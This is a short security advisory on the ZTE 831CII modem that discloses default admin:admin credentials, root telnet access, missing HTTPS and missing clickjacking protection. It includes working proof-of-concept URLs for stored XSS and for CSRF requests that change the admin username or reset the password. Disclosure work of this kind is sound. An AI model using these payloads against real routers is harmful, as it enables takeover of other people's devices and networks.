ZTE 831CII Hardcoded Credential / XSS / CSRF

`Hardcoded default misconfiguration - The modem comes with admin:admin user credintials.  
  
Stored XSS - http://192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II&domainname=home%27;alert%280%29;//&enblUpnp=1&enblLan2=0  
Any user browsing to http://192.168.1.1/main.html will have a stored xss executed!  
  
CSRF based Stored XSS - http://192.168.1.1/adminpasswd.cgi?action=save&sysUserName=%27;alert%280%29;//&sysPassword=37F6E6F627B6 - letting an admin visit this link would result the admin username changed to ';alert(0);// also a stored XSS in the home page.  
  
CSRF - there is no token/capcha or even current password prompt when the admin changes the password, and creditintials are sent over GET. PoC: http://192.168.1.1/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=F6C656269697  
if an authenticated admin browses that link their credintials will become admin:yibelo  
  
UI Redressing - The modem (like most modems) does not have a clickjacking protection. thus, can be used to modify settings, override admin accounts by a simple clickjack. forexample by using http://192.168.1.1/adminpasswd.html it is possible into tricking an admin submit a form with our credintials (since it doesn't require current password)  
  
not using SSL - The modem does not use HTTPS, so anyone can use MiTM to sniff on going actions, possibly gain user credintials.  
  
Unrestricted privileges - anyone who is connected to the modem with Telnet or tftp is root. simply telneting and authenticating as admin:admin and typing sh and echo $USER would prove that.  
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